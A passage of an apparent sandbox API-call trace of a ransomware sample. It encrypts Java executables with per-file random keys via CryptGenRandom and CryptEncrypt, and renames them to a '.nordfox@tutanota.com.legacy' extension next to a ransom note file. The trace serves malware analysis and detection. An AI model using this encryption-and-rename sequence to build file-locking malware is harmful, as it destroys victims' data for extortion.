Flags=0x0, Size=0x80) returned 0x559d10 [0133.477] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0133.477] GetLastError () returned 0x0 [0133.477] SetLastError (dwErrCode=0x0) [0133.477] GetLastError () returned 0x0 [0133.477] SetLastError (dwErrCode=0x0) [0133.478] GetLastError () returned 0x0 [0133.478] SetLastError (dwErrCode=0x0) [0133.478] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0133.478] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0133.478] FindNextFileW (in: hFindFile=0x567198, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd58c47c1, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd58c47c1, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd58c47c1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0133.478] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567940 [0133.478] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0133.478] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0133.478] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0133.478] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0133.478] SetFileAttributesW (lpFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\javaws.exe", dwFileAttributes=0x80) returned 1 [0133.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5679b8 [0133.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8fc0 [0133.479] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5679b8 | out: hHeap=0x520000) returned 1 [0133.479] CreateFileW (lpFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\javaws.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\javaws.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ec [0133.479] GetFileSizeEx (in: hFile=0x6ec, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=319552) returned 1 [0133.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4e040) returned 0x2e41f30 [0133.480] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4e040) returned 0x2e8ff78 [0133.481] ReadFile (in: hFile=0x6ec, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x4e040, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x4e040, lpOverlapped=0x0) returned 1 [0133.634] SetFilePointer (in: hFile=0x6ec, lDistanceToMove=-319552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.634] WriteFile (in: hFile=0x6ec, lpBuffer=0x2e8ff78*, nNumberOfBytesToWrite=0x4e040, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e8ff78*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4e040, lpOverlapped=0x0) returned 1 [0133.635] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0133.635] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e8ff78 | out: hHeap=0x520000) returned 1 [0133.639] SetFilePointer (in: hFile=0x6ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4e040 [0133.639] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0133.639] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0133.640] WriteFile (in: hFile=0x6ec, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0133.640] WriteFile (in: hFile=0x6ec, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0133.640] CloseHandle (hObject=0x6ec) returned 1 [0133.641] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0133.641] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0133.641] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\javaws.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\javaws.exe"), lpNewFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\javaws.exe.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\javaws.exe.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0133.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8fc0 | out: hHeap=0x520000) returned 1 [0133.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567940 | out: hHeap=0x520000) returned 1 [0133.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0133.657] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556cc0 [0133.657] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0133.657] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0133.657] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0133.657] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0133.657] SetFileAttributesW (lpFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\javaw.exe", dwFileAttributes=0x80) returned 1 [0133.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556848 [0133.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0133.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556848 | out: hHeap=0x520000) returned 1 [0133.658] CreateFileW (lpFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\javaw.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\javaw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ec [0133.658] GetFileSizeEx (in: hFile=0x6ec, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=206912) returned 1 [0133.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x32840) returned 0x2e41f30 [0133.659] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x32840) returned 0x2e74778 [0133.660] ReadFile (in: hFile=0x6ec, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x32840, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x32840, lpOverlapped=0x0) returned 1 [0134.223] SetFilePointer (in: hFile=0x6ec, lDistanceToMove=-206912, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.223] WriteFile (in: hFile=0x6ec, lpBuffer=0x2e74778*, nNumberOfBytesToWrite=0x32840, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e74778*, lpNumberOfBytesWritten=0x2e1f9bc*=0x32840, lpOverlapped=0x0) returned 1 [0134.224] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0134.225] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e74778 | out: hHeap=0x520000) returned 1 [0134.226] SetFilePointer (in: hFile=0x6ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x32840 [0134.227] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0134.227] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0134.227] WriteFile (in: hFile=0x6ec, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0134.227] WriteFile (in: hFile=0x6ec, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0134.227] CloseHandle (hObject=0x6ec) returned 1 [0134.228] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0134.228] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0134.228] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\javaw.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\javaw.exe"), lpNewFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\javaw.exe.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\javaw.exe.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0134.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0134.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0134.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0134.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0134.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0134.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0134.326] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0134.326] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0134.326] SetFileAttributesW (lpFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\java.exe", dwFileAttributes=0x80) returned 1 [0134.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0134.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0134.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0134.337] CreateFileW (lpFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\java.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\java.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ec [0134.337] GetFileSizeEx (in: hFile=0x6ec, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=206912) returned 1 [0134.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x32840) returned 0x2e41f30 [0134.339] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x32840) returned 0x2e74778 [0134.339] ReadFile (in: hFile=0x6ec, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x32840, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x32840, lpOverlapped=0x0) returned 1 [0134.883] SetFilePointer (in: hFile=0x6ec, lDistanceToMove=-206912, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.883] WriteFile (in: hFile=0x6ec, lpBuffer=0x2e74778*, nNumberOfBytesToWrite=0x32840, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e74778*, lpNumberOfBytesWritten=0x2e1f9bc*=0x32840, lpOverlapped=0x0) returned 1 [0134.884] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0134.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e74778 | out: hHeap=0x520000) returned 1 [0134.888] SetFilePointer (in: hFile=0x6ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x32840 [0134.888] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0134.888] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0134.889] WriteFile (in: hFile=0x6ec, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0134.890] WriteFile (in: hFile=0x6ec, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0134.890] CloseHandle (hObject=0x6ec) returned 1 [0134.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0134.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0134.890] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\java.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\java.exe"), lpNewFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\java.exe.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\java.exe.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0134.896] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0134.896] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0134.896] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0134.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567aa8 [0134.896] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0134.896] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5673a0 | out: hHeap=0x520000) returned 1 [0134.896] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6e0 | out: hHeap=0x520000) returned 1 [0134.896] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xe11699d1, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe11699d1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x567218 [0134.896] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0134.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0134.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0134.896] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0134.896] GetLastError () returned 0x0 [0134.896] SetLastError (dwErrCode=0x0) [0134.896] GetLastError () returned 0x0 [0134.896] SetLastError (dwErrCode=0x0) [0134.896] GetLastError () returned 0x0 [0134.896] SetLastError (dwErrCode=0x0) [0134.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0134.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d920 [0134.897] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0134.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d820 [0134.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566cd8 [0134.897] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cd8 | out: hHeap=0x520000) returned 1 [0134.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201b0 [0134.897] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201b0 | out: hHeap=0x520000) returned 1 [0134.897] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d820 | out: hHeap=0x520000) returned 1 [0134.897] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0134.897] FindNextFileW (in: hFindFile=0x567218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xe11699d1, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe11699d1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0134.897] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0134.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0134.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0134.897] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0134.897] GetLastError () returned 0x0 [0134.897] SetLastError (dwErrCode=0x0) [0134.897] GetLastError () returned 0x0 [0134.897] SetLastError (dwErrCode=0x0) [0134.897] GetLastError () returned 0x0 [0134.897] SetLastError (dwErrCode=0x0) [0134.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0134.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d710 [0134.897] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d710 | out: hHeap=0x520000) returned 1 [0134.898] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8e8 [0134.898] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566cd8 [0134.898] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cd8 | out: hHeap=0x520000) returned 1 [0134.898] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20198 [0134.898] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20198 | out: hHeap=0x520000) returned 1 [0134.898] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8e8 | out: hHeap=0x520000) returned 1 [0134.898] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0134.898] FindNextFileW (in: hFindFile=0x567218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xe1143855, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x32948, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="java.exe.1506877342345.nordfox@tutanota.com.legacy", cAlternateFileName="JAVAEX~1.LEG")) returned 1 [0134.898] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0134.898] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0134.898] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0134.898] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0134.898] GetLastError () returned 0x0 [0134.898] SetLastError (dwErrCode=0x0) [0134.898] GetLastError () returned 0x0 [0134.898] SetLastError (dwErrCode=0x0) [0134.898] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0134.898] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0134.898] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0134.898] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0134.898] GetLastError () returned 0x0 [0134.898] SetLastError (dwErrCode=0x0) [0134.898] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0134.898] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0134.899] FindNextFileW (in: hFindFile=0x567218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xe0b014b0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x32948, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="javaw.exe.1506877342345.nordfox@tutanota.com.legacy", cAlternateFileName="JAVAWE~1.LEG")) returned 1 [0134.899] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0134.899] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0134.899] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0134.899] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0134.899] GetLastError () returned 0x0 [0134.899] SetLastError (dwErrCode=0x0) [0134.899] GetLastError () returned 0x0 [0134.899] SetLastError (dwErrCode=0x0) [0134.899] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0134.899] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0134.899] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0134.899] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0134.899] GetLastError () returned 0x0 [0134.899] SetLastError (dwErrCode=0x0) [0134.899] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567940 [0134.899] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567940 | out: hHeap=0x520000) returned 1 [0134.899] FindNextFileW (in: hFindFile=0x567218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xe0557bbc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x4e148, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="javaws.exe.1506877342345.nordfox@tutanota.com.legacy", cAlternateFileName="JAVAWS~1.LEG")) returned 1 [0134.899] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0134.899] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0134.899] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0134.899] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0134.899] GetLastError () returned 0x0 [0134.900] SetLastError (dwErrCode=0x0) [0134.900] GetLastError () returned 0x0 [0134.900] SetLastError (dwErrCode=0x0) [0134.900] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8e30 [0134.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0134.900] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0134.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8e30 | out: hHeap=0x520000) returned 1 [0134.900] GetLastError () returned 0x0 [0134.900] SetLastError (dwErrCode=0x0) [0134.900] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0134.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0134.900] FindNextFileW (in: hFindFile=0x567218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, 